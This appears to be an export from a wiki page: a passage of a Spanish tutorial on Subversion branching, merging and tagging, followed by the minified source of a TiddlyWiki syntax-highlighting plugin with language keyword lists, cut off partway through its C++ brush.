- Antes de modificar archivos, es buena idea comprobar si alguien ha subido cambios:
svn update
- Una vez hechos cambios, se suben al servidor
svn commit
SVN "avanzado" (pero poco)
==========================
Modo "pro"
----------
Una buena forma de trabajar con estos sistemas es el denominado "nightly builds". Consiste en, antes de irte a casa, comprobar que los cambios que has hecho compilan y funcionan, y subirlos al servidor. Buena idea por si te pones malo o te vas de vacaciones, así no dejas las cosas a mitad.
Además y de propina, cada vez que haces commit, se guarda una copia en el servidor, a la que puedes acudir en caso de desastre. Por lo tanto funciona como un sistema de copias de seguridad.
Modo "master del universo"
--------------------------
Tener la disciplina de subir los cambios al final de la jornada está muy bien, pero siempre puede escaparse un error que, si alguien se bajase el código del trunk, podría producirle problemas. Para ello se puede utilizar el sistema de "ramas de desarrollo" (branches).
Esto consiste en hacer una copia de todo el directorio trunk en una subcarpeta de "branches". Sobre esta copia se harán los cambios pertinentes y, una vez hechos y probados, se copiarán de vuelta al directorio trunk. Esto permite mantener la rama de desarrollo todo lo en guarrinada que sea necesario, y aplicar los cambios sólo cuando estén completos y funcionen. De esta manera el trunk siempre tiene la última versión estable.
Aplicar los cambios de una rama al trunk sería crear una nueva versión del programa. Si los cambios son moderados será una versión menor, y si son grandes será un cambio de versión mayor.
Para llevar un seguimiento de las distintas versiones del programa, es recomendable guardar una copia del trunk en el directorio "tags" cada vez que se apliquen los cambios realizados en una rama, sobre el trunk.
Ahora veamos como se haría todo esto paso por paso.
Para crear una nueva rama:
svn copy ^/trunk ^/branches/nombre_rama
svn commit
svn update
Esto creará una nueva rama y confirmará cambios y actualizará todo. En resumen, creará una nueva rama lista para trabajar sobre ella. Sobre este nuevo directorio se realizarán todos los cambios, se harán los commit que se quieran (recomendable hacerlos cada poco tiempo, para tener una copia de seguridad en el servidor) y se dejará todo listo y preparado.
Una vez completadas las modificaciones previstas, y comprobado que funcionan bien, es la hora de volcar los cambios sobre el trunk. Para ello, desde el directorio raiz **de la rama** se ejecuta el siguiente comando:
svn merge ^/trunk
Después de la operación sería buena idea hacer un `svn update` del directorio raiz (working copy) y comprobar que el trunk compila y muestra correctamente los cambios.
Una vez que estamos seguros de que el merge ha ido bien, es buena idea guardar una copia de la nueva versión en tags. El proceso es similar a crear una nueva rama, solo que se usa el directorio tags en vez de branches:
svn copy ^/trunk ^/tags/version.nueva
svn commit
svn update
Y eso es todo (que no es poco)
Más información
===============
Para más información, se puede consultar la siguiente página:
http://svnbook.red-bean.com/
/***
!Metadata:
|''Name:''|SyntaxHighlighterPlugin|
|''Description:''|Code Syntax Highlighter Plugin for TiddlyWiki.|
|''Version:''|1.1.3|
|''Date:''|Oct 24, 2008|
|''Source:''|http://www.coolcode.cn/show-310-1.html|
|''Author:''|Ma Bingyao (andot (at) ujn (dot) edu (dot) cn)|
|''License:''|[[GNU Lesser General Public License|http://www.gnu.org/licenses/lgpl.txt]]|
|''~CoreVersion:''|2.4.1|
|''Browser:''|Firefox 1.5+; InternetExplorer 6.0; Safari; Opera; Chrome; etc.|
!Syntax:
{{{
<code options>
codes
</code>
}}}
!Examples:
{{{
<code java>
public class HelloWorld {
public static void main(String args[]) {
System.out.println("HelloWorld!");
}
}
</code>
}}}
!Revision History:
|''Version''|''Date''|''Note''|
|1.1.2|Oct 15, 2008|Optimize Highlight|
|1.0.0|Oct 13, 2008|Initial release|
!Code section:
***/
//{{{
var dp={sh:{Toolbar:{},Utils:{},RegexLib:{},Brushes:{},Strings:{AboutDialog:"<html><head><title>About...</title></head><body class=\"dp-about\"><table cellspacing=\"0\"><tr><td class=\"copy\"><p class=\"title\">dp.SyntaxHighlighter</div><div class=\"para\">Version: {V}</p><p><a href=\"http://www.dreamprojections.com/syntaxhighlighter/?ref=about\" target=\"_blank\">http://www.dreamprojections.com/syntaxhighlighter</a></p>©2004-2007 Alex Gorbatchev.</td></tr><tr><td class=\"footer\"><input type=\"button\" class=\"close\" value=\"OK\" onClick=\"window.close()\"/></td></tr></table></body></html>"},ClipboardSwf:null,Version:"1.5.1"}};dp.SyntaxHighlighter=dp.sh;dp.sh.Toolbar.Commands={ExpandSource:{label:"+ expand source",check:function($){return $.collapse},func:function($,_){$.parentNode.removeChild($);_.div.className=_.div.className.replace("collapsed","")}},ViewSource:{label:"view plain",func:function($,_){var A=dp.sh.Utils.FixForBlogger(_.originalCode).replace(/</g,"<"),B=window.open("","_blank","width=750, height=400, location=0, resizable=1, menubar=0, scrollbars=0");B.document.write("<textarea style=\"width:99%;height:99%\">"+A+"</textarea>");B.document.close()}},CopyToClipboard:{label:"copy to clipboard",check:function(){return window.clipboardData!=null||dp.sh.ClipboardSwf!=null},func:function($,A){var B=dp.sh.Utils.FixForBlogger(A.originalCode).replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&");if(window.clipboardData)window.clipboardData.setData("text",B);else if(dp.sh.ClipboardSwf!=null){var _=A.flashCopier;if(_==null){_=document.createElement("div");A.flashCopier=_;A.div.appendChild(_)}_.innerHTML="<embed src=\""+dp.sh.ClipboardSwf+"\" FlashVars=\"clipboard="+encodeURIComponent(B)+"\" width=\"0\" height=\"0\" type=\"application/x-shockwave-flash\"></embed>"}alert("The code is in your clipboard now")}},PrintSource:{label:"print",func:function($,B){var _=document.createElement("IFRAME"),A=null;_.style.cssText="position:absolute;width:0px;height:0px;left:-500px;top:-500px;";document.body.appendChild(_);A=_.contentWindow.document;dp.sh.Utils.CopyStyles(A,window.document);A.write("<div class=\""+B.div.className.replace("collapsed","")+" printing\">"+B.div.innerHTML+"</div>");A.close();_.contentWindow.focus();_.contentWindow.print();alert("Printing...");document.body.removeChild(_)}},About:{label:"?",func:function(_){var A=window.open("","_blank","dialog,width=300,height=150,scrollbars=0"),$=A.document;dp.sh.Utils.CopyStyles($,window.document);$.write(dp.sh.Strings.AboutDialog.replace("{V}",dp.sh.Version));$.close();A.focus()}}};dp.sh.Toolbar.Create=function(B){var A=document.createElement("DIV");A.className="tools";for(var _ in dp.sh.Toolbar.Commands){var $=dp.sh.Toolbar.Commands[_];if($.check!=null&&!$.check(B))continue;A.innerHTML+="<a href=\"#\" onclick=\"dp.sh.Toolbar.Command('"+_+"',this);return false;\">"+$.label+"</a>"}return A};dp.sh.Toolbar.Command=function(_,$){var A=$;while(A!=null&&A.className.indexOf("dp-highlighter")==-1)A=A.parentNode;if(A!=null)dp.sh.Toolbar.Commands[_].func($,A.highlighter)};dp.sh.Utils.CopyStyles=function(A,_){var $=_.getElementsByTagName("link");for(var B=0;B<$.length;B++)if($[B].rel.toLowerCase()=="stylesheet")A.write("<link type=\"text/css\" rel=\"stylesheet\" href=\""+$[B].href+"\"></link>")};dp.sh.Utils.FixForBlogger=function($){return(dp.sh.isBloggerMode==true)?$.replace(/<br\s*\/?>|<br\s*\/?>/gi,"\n"):$};dp.sh.RegexLib={MultiLineCComments:new RegExp("/\\*[\\s\\S]*?\\*/","gm"),SingleLineCComments:new RegExp("//.*$","gm"),SingleLinePerlComments:new RegExp("#.*$","gm"),DoubleQuotedString:new RegExp("\"(?:\\.|(\\\\\\\")|[^\\\"\"\\n])*\"","g"),SingleQuotedString:new RegExp("'(?:\\.|(\\\\\\')|[^\\''\\n])*'","g")};dp.sh.Match=function(_,$,A){this.value=_;this.index=$;this.length=_.length;this.css=A};dp.sh.Highlighter=function(){this.noGutter=false;this.addControls=true;this.collapse=false;this.tabsToSpaces=true;this.wrapColumn=80;this.showColumns=true};dp.sh.Highlighter.SortCallback=function($,_){if($.index<_.index)return-1;else if($.index>_.index)return 1;else if($.length<_.length)return-1;else if($.length>_.length)return 1;return 0};dp.sh.Highlighter.prototype.CreateElement=function(_){var $=document.createElement(_);$.highlighter=this;return $};dp.sh.Highlighter.prototype.GetMatches=function(_,B){var $=0,A=null;while((A=_.exec(this.code))!=null)this.matches[this.matches.length]=new dp.sh.Match(A[0],A.index,B)};dp.sh.Highlighter.prototype.AddBit=function($,A){if($==null||$.length==0)return;var C=this.CreateElement("SPAN");$=$.replace(/ /g," ");$=$.replace(/</g,"<");$=$.replace(/\n/gm," <br>");if(A!=null){if((/br/gi).test($)){var _=$.split(" <br>");for(var B=0;B<_.length;B++){C=this.CreateElement("SPAN");C.className=A;C.innerHTML=_[B];this.div.appendChild(C);if(B+1<_.length)this.div.appendChild(this.CreateElement("BR"))}}else{C.className=A;C.innerHTML=$;this.div.appendChild(C)}}else{C.innerHTML=$;this.div.appendChild(C)}};dp.sh.Highlighter.prototype.IsInside=function(_){if(_==null||_.length==0)return false;for(var A=0;A<this.matches.length;A++){var $=this.matches[A];if($==null)continue;if((_.index>$.index)&&(_.index<$.index+$.length))return true}return false};dp.sh.Highlighter.prototype.ProcessRegexList=function(){for(var $=0;$<this.regexList.length;$++)this.GetMatches(this.regexList[$].regex,this.regexList[$].css)};dp.sh.Highlighter.prototype.ProcessSmartTabs=function(E){var B=E.split("\n"),$="",D=4,A="\t";function _(A,E,_){var B=A.substr(0,E),C=A.substr(E+1,A.length),$="";for(var D=0;D<_;D++)$+=" ";return B+$+C}function C(B,C){if(B.indexOf(A)==-1)return B;var D=0;while((D=B.indexOf(A))!=-1){var $=C-D%C;B=_(B,D,$)}return B}for(var F=0;F<B.length;F++)$+=C(B[F],D)+"\n";return $};dp.sh.Highlighter.prototype.SwitchToList=function(){var C=this.div.innerHTML.replace(/<(br)\/?>/gi,"\n"),B=C.split("\n");if(this.addControls==true)this.bar.appendChild(dp.sh.Toolbar.Create(this));if(this.showColumns){var A=this.CreateElement("div"),_=this.CreateElement("div"),E=10,G=1;while(G<=150)if(G%E==0){A.innerHTML+=G;G+=(G+"").length}else{A.innerHTML+="·";G++}_.className="columns";_.appendChild(A);this.bar.appendChild(_)}for(var G=0,D=this.firstLine;G<B.length-1;G++,D++){var $=this.CreateElement("LI"),F=this.CreateElement("SPAN");$.className=(G%2==0)?"alt":"";F.innerHTML=B[G]+" ";$.appendChild(F);this.ol.appendChild($)}this.div.innerHTML=""};dp.sh.Highlighter.prototype.Highlight=function(C){function A($){return $.replace(/^\s*(.*?)[\s\n]*$/g,"$1")}function $($){return $.replace(/\n*$/,"").replace(/^\n*/,"")}function _(B){var E=dp.sh.Utils.FixForBlogger(B).split("\n"),C=new Array(),D=new RegExp("^\\s*","g"),$=1000;for(var F=0;F<E.length&&$>0;F++){if(A(E[F]).length==0)continue;var _=D.exec(E[F]);if(_!=null&&_.length>0)$=Math.min(_[0].length,$)}if($>0)for(F=0;F<E.length;F++)E[F]=E[F].substr($);return E.join("\n")}function D(A,$,_){return A.substr($,_-$)}var F=0;if(C==null)C="";this.originalCode=C;this.code=$(_(C));this.div=this.CreateElement("DIV");this.bar=this.CreateElement("DIV");this.ol=this.CreateElement("OL");this.matches=new Array();this.div.className="dp-highlighter";this.div.highlighter=this;this.bar.className="bar";this.ol.start=this.firstLine;if(this.CssClass!=null)this.ol.className=this.CssClass;if(this.collapse)this.div.className+=" collapsed";if(this.noGutter)this.div.className+=" nogutter";if(this.tabsToSpaces==true)this.code=this.ProcessSmartTabs(this.code);this.ProcessRegexList();if(this.matches.length==0){this.AddBit(this.code,null);this.SwitchToList();this.div.appendChild(this.bar);this.div.appendChild(this.ol);return}this.matches=this.matches.sort(dp.sh.Highlighter.SortCallback);for(var E=0;E<this.matches.length;E++)if(this.IsInside(this.matches[E]))this.matches[E]=null;for(E=0;E<this.matches.length;E++){var B=this.matches[E];if(B==null||B.length==0)continue;this.AddBit(D(this.code,F,B.index),null);this.AddBit(B.value,B.css);F=B.index+B.length}this.AddBit(this.code.substr(F),null);this.SwitchToList();this.div.appendChild(this.bar);this.div.appendChild(this.ol)};dp.sh.Highlighter.prototype.GetKeywords=function($){return"\\b"+$.replace(/ /g,"\\b|\\b")+"\\b"};dp.sh.BloggerMode=function(){dp.sh.isBloggerMode=true};dp.sh.HighlightAll=function(N,B,K,I,O,E){function A(){var $=arguments;for(var _=0;_<$.length;_++){if($[_]==null)continue;if(typeof($[_])=="string"&&$[_]!="")return $[_]+"";if(typeof($[_])=="object"&&$[_].value!="")return $[_].value+""}return null}function J($,_){for(var A=0;A<_.length;A++)if(_[A]==$)return true;return false}function L(A,B,C){var _=new RegExp("^"+A+"\\[(\\w+)\\]$","gi"),$=null;for(var D=0;D<B.length;D++)if(($=_.exec(B[D]))!=null)return $[1];return C}function C(B,A,_){var $=document.getElementsByTagName(_);for(var C=0;C<$.length;C++)if($[C].getAttribute("name")==A)B.push($[C])}var T=[],P=null,M={},$="innerHTML";C(T,N,"pre");C(T,N,"textarea");if(T.length==0)return;for(var R in dp.sh.Brushes){var F=dp.sh.Brushes[R].Aliases;if(F==null)continue;for(var G=0;G<F.length;G++)M[F[G]]=R}for(G=0;G<T.length;G++){var _=T[G],U=A(_.attributes["class"],_.className,_.attributes["language"],_.language),Q="";if(U==null)continue;U=U.split(":");Q=U[0].toLowerCase();if(M[Q]==null)continue;P=new dp.sh.Brushes[M[Q]]();_.style.display="none";P.noGutter=(B==null)?J("nogutter",U):!B;P.addControls=(K==null)?!J("nocontrols",U):K;P.collapse=(I==null)?J("collapse",U):I;P.showColumns=(E==null)?J("showcolumns",U):E;var D=document.getElementsByTagName("head")[0];if(P.Style&&D){var S=document.createElement("style");S.setAttribute("type","text/css");if(S.styleSheet)S.styleSheet.cssText=P.Style;else{var H=document.createTextNode(P.Style);S.appendChild(H)}D.appendChild(S)}P.firstLine=(O==null)?parseInt(L("firstline",U,1)):O;P.Highlight(_[$]);P.source=_;_.parentNode.insertBefore(P.div,_)}};version.extensions.SyntaxHighLighterPlugin={major:1,minor:1,revision:3,date:new Date(2008,10,24)};dp.sh.ClipboardSwf="clipboard.swf";dp.sh.Highlight=function(_,Q,B,J,H,M,D){function A(){var $=arguments;for(var _=0;_<$.length;_++){if($[_]==null)continue;if(typeof($[_])=="string"&&$[_]!="")return $[_]+"";if(typeof($[_])=="object"&&$[_].value!="")return $[_].value+""}return null}function I($,_){for(var A=0;A<_.length;A++)if(_[A]==$)return true;return false}function K(A,B,C){var _=new RegExp("^"+A+"\\[(\\w+)\\]$","gi"),$=null;for(var D=0;D<B.length;D++)if(($=_.exec(B[D]))!=null)return $[1];return C}var N=null,$="innerHTML";if(this.registered==undefined){var L={};for(var O in dp.sh.Brushes){var E=dp.sh.Brushes[O].Aliases;if(E==null)continue;for(var F=0;F<E.length;F++)L[E[F]]=O}this.registered=L}Q=Q.split(":");language=Q[0].toLowerCase();if(this.registered[language]==null)return;N=new dp.sh.Brushes[this.registered[language]]();_.style.display="none";N.noGutter=(B==null)?I("nogutter",Q):!B;N.addControls=(J==null)?!I("nocontrols",Q):J;N.collapse=(H==null)?I("collapse",Q):H;N.showColumns=(D==null)?I("showcolumns",Q):D;var C=document.getElementsByTagName("head")[0],P=document.getElementById(N.CssClass);if(N.Style&&C&&!P){P=document.createElement("style");P.setAttribute("id",N.CssClass);P.setAttribute("type","text/css");if(P.styleSheet)P.styleSheet.cssText=N.Style;else{var G=document.createTextNode(N.Style);P.appendChild(G)}C.appendChild(P)}N.firstLine=(M==null)?parseInt(K("firstline",Q,1)):M;N.Highlight(_[$]);N.source=_;_.parentNode.insertBefore(N.div,_)};config.formatters.push({name:"SyntaxHighlighter",match:"^<code[\\s]+[^>]+>\\n",element:"pre",handler:function(_){this.lookaheadRegExp=/<code[\s]+([^>]+)>\n((?:^[^\n]*\n)+?)(^<\/code>$\n?)/mg;this.lookaheadRegExp.lastIndex=_.matchStart;var $=this.lookaheadRegExp.exec(_.source);if($&&$.index==_.matchStart){var C=$[1],B=$[2];if(config.browser.isIE)B=B.replace(/\n/g,"\r");var A=createTiddlyElement(_.output,this.element,null,null,B);dp.sh.Highlight(A,C);_.nextMatch=$.index+$[0].length}}});config.formatterHelpers.enclosedTextHelper=function(_){this.lookaheadRegExp.lastIndex=_.matchStart;var $=this.lookaheadRegExp.exec(_.source);if($&&$.index==_.matchStart){var B=$[1];if(config.browser.isIE)B=B.replace(/\n/g,"\r");var A=createTiddlyElement(_.output,this.element,null,null,B);switch(_.matchText){case"/*{{{*/\n":dp.sh.Highlight(A,"css");break;case"//{{{\n":dp.sh.Highlight(A,"js");break;case"<!--{{{-->\n":dp.sh.Highlight(A,"xml");break}_.nextMatch=$.index+$[0].length}};dp.sh.Brushes.AS3=function(){var _="class interface package",$="Array Boolean Date decodeURI decodeURIComponent encodeURI encodeURIComponent escape "+"int isFinite isNaN isXMLName Number Object parseFloat parseInt "+"String trace uint unescape XML XMLList "+"Infinity -Infinity NaN undefined "+"as delete instanceof is new typeof "+"break case catch continue default do each else finally for if in "+"label return super switch throw try while with "+"dynamic final internal native override private protected public static "+"...rest const extends function get implements namespace set "+"import include use "+"AS3 flash_proxy object_proxy "+"false null this true "+"void Null";this.regexList=[{regex:dp.sh.RegexLib.SingleLineCComments,css:"comment"},{regex:dp.sh.RegexLib.MultiLineCComments,css:"blockcomment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("^\\s*#.*","gm"),css:"preprocessor"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"definition"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"},{regex:new RegExp("var","gm"),css:"variable"}];this.CssClass="dp-as";this.Style=".dp-as .comment { color: #009900; font-style: italic; }"+".dp-as .blockcomment { color: #3f5fbf; }"+".dp-as .string { color: #990000; }"+".dp-as .preprocessor { color: #0033ff; }"+".dp-as .definition { color: #9900cc; font-weight: bold; }"+".dp-as .keyword { color: #0033ff; }"+".dp-as .variable { color: #6699cc; font-weight: bold; }"};dp.sh.Brushes.AS3.prototype=new dp.sh.Highlighter();dp.sh.Brushes.AS3.Aliases=["as","actionscript","ActionScript","as3","AS3"];dp.sh.Brushes.Bash=function(){var _="alias bg bind break builtin cd command compgen complete continue "+"declare dirs disown echo enable eval exec exit export fc fg "+"getopts hash help history jobs kill let local logout popd printf "+"pushd pwd read readonly return set shift shopt source "+"suspend test times trap type typeset ulimit umask unalias unset wait",$="case do done elif else esac fi for function if in select then "+"time until while";this.regexList=[{regex:dp.sh.RegexLib.SingleLinePerlComments,css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("[()[\\]{}]","g"),css:"delim"},{regex:new RegExp("\\$\\w+","g"),css:"vars"},{regex:new RegExp("\\w+=","g"),css:"vars"},{regex:new RegExp("\\s-\\w+","g"),css:"flag"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"builtin"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-bash";this.Style=".dp-bash .builtin {color: maroon; font-weight: bold;}"+".dp-bash .comment {color: gray;}"+".dp-bash .delim {font-weight: bold;}"+".dp-bash .flag {color: green;}"+".dp-bash .string {color: red;}"+".dp-bash .vars {color: blue;}"};dp.sh.Brushes.Bash.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Bash.Aliases=["bash","sh"];dp.sh.Brushes.Batch=function(){var _="APPEND ATTRIB CD CHDIR CHKDSK CHOICE CLS COPY DEL ERASE DELTREE "+"DIR EXIT FC COMP FDISK FIND FORMAT FSUTIL HELP JOIN "+"LABEL LOADFIX MK MKDIR MEM MEMMAKER MORE MOVE MSD PCPARK "+"PRINT RD RMDIR REN SCANDISK SHARE SORT SUBST SYS "+"TIME DATE TREE TRUENAME TYPE UNDELETE VER XCOPY",$="DO ELSE FOR IN CALL CHOICE GOTO SHIFT PAUSE ERRORLEVEL "+"IF NOT EXIST LFNFOR START SETLOCAL ENDLOCAL ECHO SET";this.regexList=[{regex:new RegExp("REM.*$","gm"),css:"comment"},{regex:new RegExp("::.*$","gm"),css:"comment"},{regex:dp.sh.RegexLib.DoubleQuotedString,css:"string"},{regex:dp.sh.RegexLib.SingleQuotedString,css:"string"},{regex:new RegExp("[()[\\]{}]","g"),css:"delim"},{regex:new RegExp("%\\w+%","g"),css:"vars"},{regex:new RegExp("%%\\w+","g"),css:"vars"},{regex:new RegExp("\\w+=","g"),css:"vars"},{regex:new RegExp("@\\w+","g"),css:"keyword"},{regex:new RegExp(":\\w+","g"),css:"keyword"},{regex:new RegExp("\\s/\\w+","g"),css:"flag"},{regex:new RegExp(this.GetKeywords(_),"gm"),css:"builtin"},{regex:new RegExp(this.GetKeywords($),"gm"),css:"keyword"}];this.CssClass="dp-batch";this.Style=".dp-batch .builtin {color: maroon; font-weight: bold;}"+".dp-batch .comment {color: gray;}"+".dp-batch .delim {font-weight: bold;}"+".dp-batch .flag {color: green;}"+".dp-batch .string {color: red;}"+".dp-batch .vars {color: blue;font-weight: bold;}"};dp.sh.Brushes.Batch.prototype=new dp.sh.Highlighter();dp.sh.Brushes.Batch.Aliases=["batch","dos"];dp.sh.Brushes.ColdFusion=function(){this.CssClass="dp-coldfusion";this.Style=".dp-coldfusion { font: 13px \"Courier New\", Courier, monospace; }"+".dp-coldfusion .tag, .dp-coldfusion .tag-name { color: #990033; }"+".dp-coldfusion .attribute { color: #990033; }"+".dp-coldfusion .attribute-value { color: #0000FF; }"+".dp-coldfusion .cfcomments { background-color: #FFFF99; color: #000000; }"+".dp-coldfusion .cfscriptcomments { color: #999999; }"+".dp-coldfusion .keywords { color: #0000FF; }"+".dp-coldfusion .mgkeywords { color: #CC9900; }"+".dp-coldfusion .numbers { color: #ff0000; }"+".dp-coldfusion .strings { color: green; }";this.mgKeywords="setvalue getvalue addresult viewcollection viewstate";this.keywords="var eq neq gt gte lt lte not and or true false "+"abs acos addsoaprequestheader addsoapresponseheader "+"arrayappend arrayavg arrayclear arraydeleteat arrayinsertat "+"arrayisempty arraylen arraymax arraymin arraynew "+"arrayprepend arrayresize arrayset arraysort arraysum "+"arrayswap arraytolist asc asin atn binarydecode binaryencode "+"bitand bitmaskclear bitmaskread bitmaskset bitnot bitor bitshln "+"bitshrn bitxor ceiling charsetdecode charsetencode chr cjustify "+"compare comparenocase cos createdate createdatetime createobject "+"createobject createobject createobject createobject createodbcdate "+"createodbcdatetime createodbctime createtime createtimespan "+"createuuid dateadd datecompare dateconvert datediff dateformat "+"datepart day dayofweek dayofweekasstring dayofyear daysinmonth "+"daysinyear de decimalformat decrementvalue decrypt decryptbinary "+"deleteclientvariable directoryexists dollarformat duplicate encrypt "+"encryptbinary evaluate exp expandpath fileexists find findnocase "+"findoneof firstdayofmonth fix formatbasen generatesecretkey "+"getauthuser getbasetagdata getbasetaglist getbasetemplatepath "+"getclientvariableslist getcontextroot getcurrenttemplatepath "+"getdirectoryfrompath getencoding getexception getfilefrompath "+"getfunctionlist getgatewayhelper gethttprequestdata gethttptimestring "+"getk2serverdoccount getk2serverdoccountlimit getlocale "+"getlocaledisplayname getlocalhostip getmetadata getmetricdata "+"getpagecontext getprofilesections getprofilestring getsoaprequest "+"getsoaprequestheader getsoapresponse getsoapresponseheader "+"gettempdirectory gettempfile gettemplatepath gettickcount "+"gettimezoneinfo gettoken hash hour htmlcodeformat htmleditformat "+"iif incrementvalue inputbasen insert int isarray isbinary isboolean "+"iscustomfunction isdate isdebugmode isdefined isk2serverabroker "+"isk2serverdoccountexceeded isk2serveronline isleapyear islocalhost "+"isnumeric isnumericdate isobject isquery issimplevalue issoaprequest "+"isstruct isuserinrole isvalid isvalid isvalid iswddx isxml "+"isxmlattribute isxmldoc isxmlelem isxmlnode isxmlroot javacast "+"jsstringformat lcase left len listappend listchangedelims listcontains "+"listcontainsnocase listdeleteat listfind listfindnocase listfirst "+"listgetat listinsertat listlast listlen listprepend listqualify "+"listrest listsetat listsort listtoarray listvaluecount "+"listvaluecountnocase ljustify log log10 lscurrencyformat lsdateformat "+"lseurocurrencyformat lsiscurrency lsisdate lsisnumeric lsnumberformat "+"lsparsecurrency lsparsedatetime lsparseeurocurrency lsparsenumber "+"lstimeformat ltrim max mid min minute month monthasstring now "+"numberformat paragraphformat parameterexists parsedatetime pi "+"preservesinglequotes quarter queryaddcolumn queryaddrow querynew "+"querysetcell quotedvaluelist rand randomize randrange refind "+"refindnocase releasecomobject removechars repeatstring replace "+"replacelist replacenocase rereplace rereplacenocase reverse right "+"rjustify round rtrim second sendgatewaymessage setencoding "+"setlocale setprofilestring setvariable sgn sin spanexcluding "+"spanincluding sqr stripcr structappend structclear structcopy "+"structcount structdelete structfind structfindkey structfindvalue "+"structget structinsert structisempty structkeyarray structkeyexists "+"structkeylist structnew structsort structupdate tan timeformat "+"tobase64 tobinary toscript tostring trim ucase urldecode urlencodedformat "+"urlsessionformat val valuelist week wrap writeoutput xmlchildpos "+"xmlelemnew xmlformat xmlgetnodetype xmlnew xmlparse xmlsearch xmltransform "+"xmlvalidate year yesnoformat";this.stringMatches=new Array();this.attributeMatches=new Array()};dp.sh.Brushes.ColdFusion.prototype=new dp.sh.Highlighter();dp.sh.Brushes.ColdFusion.Aliases=["coldfusion","cf"];dp.sh.Brushes.ColdFusion.prototype.ProcessRegexList=function(){function B(_,$){_[_.length]=$}function A(A,$){for(var _=0;_<A.length;_++)if(A[_]==$)return _;return-1}var _=null,$=null;this.GetMatches(new RegExp("\\b(\\d+)","gm"),"numbers");this.GetMatches(new RegExp(this.GetKeywords(this.mgKeywords),"igm"),"mgkeywords");this.GetMatches(dp.sh.RegexLib.SingleLineCComments,"cfscriptcomments");this.GetMatches(dp.sh.RegexLib.MultiLineCComments,"cfscriptcomments");this.GetMatches(new RegExp("(<|<)!---[\\s\\S]*?---(>|>)","gm"),"cfcomments");$=new RegExp("(cfset\\s*)?([:\\w-.]+)\\s*=\\s*(\".*?\"|'.*?')*","gm");while((_=$.exec(this.code))!=null){if(_[1]!=undefined&&_[1]!="")continue;if(_[3]!=undefined&&_[3]!=""&&_[3]!="\"\""&&_[3]!="''"){B(this.matches,new dp.sh.Match(_[2],_.index,"attribute"));B(this.matches,new dp.sh.Match(_[3],_.index+_[0].indexOf(_[3]),"attribute-value"));B(this.stringMatches,_[3]);B(this.attributeMatches,_[2])}}this.GetMatches(new RegExp("(<|<)/*\\?*(?!\\!)|/*\\?*(>|>)","gm"),"tag");$=new RegExp("(?:<|<)/*\\?*\\s*([:\\w-.]+)","gm");while((_=$.exec(this.code))!=null)B(this.matches,new dp.sh.Match(_[1],_.index+_[0].indexOf(_[1]),"tag-name"));$=new RegExp(this.GetKeywords(this.keywords),"igm");while((_=$.exec(this.code))!=null)if(A(this.attributeMatches,_[0])==-1)B(this.matches,new dp.sh.Match(_[0],_.index,"keywords"));$=new RegExp("cfset\\s*.*(\".*?\"|'.*?')","gm");while((_=$.exec(this.code))!=null)if(_[1]!=undefined&&_[1]!=""){B(this.matches,new dp.sh.Match(_[1],_.index+_[0].indexOf(_[1]),"strings"));B(this.stringMatches,_[1])}while((_=dp.sh.RegexLib.DoubleQuotedString.exec(this.code))!=null)if(A(this.stringMatches,_[0])==-1)B(this.matches,new dp.sh.Match(_[0],_.index,"strings"));while((_=dp.sh.RegexLib.SingleQuotedString.exec(this.code))!=null)if(A(this.stringMatches,_[0])==-1)B(this.matches,new dp.sh.Match(_[0],_.index,"strings"))};dp.sh.Brushes.Cpp=function(){var _="ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR "+"DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH "+"HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP "+"HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY "+"HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT "+"HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE "+"LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF "+"LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR "+"LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR "+"PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT "+"PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 "+"POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR "+"PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 "+"PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT "+"SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG "+"ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM "+"char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t "+"clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS "+"FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t "+"__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t "+"jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler "+"sig_atomic_t size_t _stat __stat64 _stati64 terminate_function "+"time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf "+"va_list wchar_t wctrans_t wctype_t wint_t signed",$="break case catch class const __finally __exception __try "+"const_cast continue private public protected __declspec "+"default delete deprecated dllexport dllimport do dynamic_cast "+"else enum explicit extern if for friend goto inline "+"mutable naked 